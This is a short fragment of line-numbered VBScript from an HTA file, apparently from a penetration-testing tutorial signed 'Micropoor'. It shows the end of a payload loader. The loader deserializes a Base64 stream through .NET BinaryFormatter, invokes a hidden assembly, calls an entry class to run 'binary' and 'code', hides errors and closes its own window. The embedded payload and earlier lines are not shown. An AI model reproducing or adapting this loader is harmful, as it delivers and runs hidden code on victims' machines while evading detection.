187 Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binar y.BinaryFormatter")

188 Set al = CreateObject("System.Collections.ArrayList")

189 al.Add fmt.SurrogateSelector 190

191 Set d = fmt.Deserialize\_2(Base64ToStream(s))

192 Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry\_class)

193 o.flame binary,code

194 End Sub 195

196 SetVersion

197 On Error Resume Next

198 Run

199 If Err.Number <> 0 Then

200 Debug Err.Description

201 Err.Clear

202 End If 203

204 self.close

205 </script> 206

Micropoor